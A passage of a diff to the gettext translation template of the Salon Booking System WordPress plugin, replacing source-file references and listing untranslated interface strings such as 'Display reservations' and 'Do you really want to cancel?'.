build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:10\n-msgid \"Type a message for your customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_package_item.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_package_item.php:33\n+msgid \"Discover included services\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking_actions.php:18, views\u002Fmetabox\u002Fbooking_actions.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:18, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:18, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:27\n-msgid \"Send\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:125\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:125\n+msgid \"Dismiss this notice\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking_actions.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:23\n-msgid \"Re-send payment link\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:100\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:100\n+msgid \"Display if\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fresource.php:10, views\u002Fmetabox\u002Fservice.php:25, src\u002FSLN\u002FPostType\u002FResource.php:122, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fresource.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:25, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:122, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fresource.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fresource.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fresource.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:122\n-msgid \"Units per session\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:86\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:86\n+msgid \"Display past reservations\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fresource.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fresource.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fresource.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fresource.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fresource.php:12\n-msgid \"How many reservations for the same date\u002Ftime slot ?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:41\n+msgid \"Display phone inside booking notification\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fresource.php:16, views\u002Fsettings\u002Ftab_checkout.php:264, views\u002Fsettings\u002Ftab_checkout.php:431, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fresource.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:264, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:431, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:264, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:431, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fresource.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:431, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fresource.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:431, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fresource.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:431\n-msgid \"Enable\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:74\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:74\n+msgid \"Display reservations\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fresource.php:16, views\u002Fsettings\u002Ftab_checkout.php:458, views\u002Fshortcode\u002F_salon_date_pickers.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fresource.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:458, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:458, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fresource.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:458, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fresource.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:458, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fresource.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:458, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:33\n-msgid \"Disable\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:178\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:178\n+msgid \"Display slots using customer's time-zone\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fresource.php:18, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fresource.php:18, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fresource.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fresource.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fresource.php:18\n-msgid \"Use it to temporarily disable this resource\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:134\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:134\n+msgid \"Do not notify customer\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fresource.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fresource.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fresource.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fresource.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fresource.php:24\n-msgid \"Assigned services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:33\n+msgid \"Do you need help ?\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fresource.php:37, views\u002Fmetabox\u002Fservice.php:129, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fresource.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:129, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fresource.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fresource.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fresource.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:129\n-msgid \"select one or more services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:155\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:155\n+msgid \"Do you really want to cancel?\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fresource.php:42, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fresource.php:42, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fresource.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fresource.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fresource.php:42\n-msgid \"Select the services to be assigned to this resource\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_reset.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_reset.php:13\n+msgid \"Do you really want to reset?\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:7, src\u002FSLN\u002FMetabox\u002FService.php:53, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:53, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:53\n-msgid \"Service details\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:19\n+msgid \"Documentation\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:12\n-msgid \"Switch to \\\"ADVANCED \u002F Availability method\\\" to set custom duration\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fremind.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:47\n+msgid \"don't forget your reservation at\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:20, views\u002Fmetabox\u002Fservice.php:465, views\u002Fshortcode\u002Fsalon_booking_services.php:48, views\u002Fsms\u002Fremind.php:61, src\u002FSLN\u002FPostType\u002FService.php:154, views\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:56, views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:14, views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:20, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:465, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:48, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fremind.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:154, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:56, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:20, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:465, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:48, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:465, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fremind.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:465, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fremind.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:465, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fremind.php:61, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:154, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:56, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:41\n-msgid \"Price\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:99\n+msgid \"Done !\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:26\n-msgid \"Maximum number of concurrent bookings allowed at the same time for this service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_rollback.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_rollback.php:45\n+msgid \"Download\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:29, 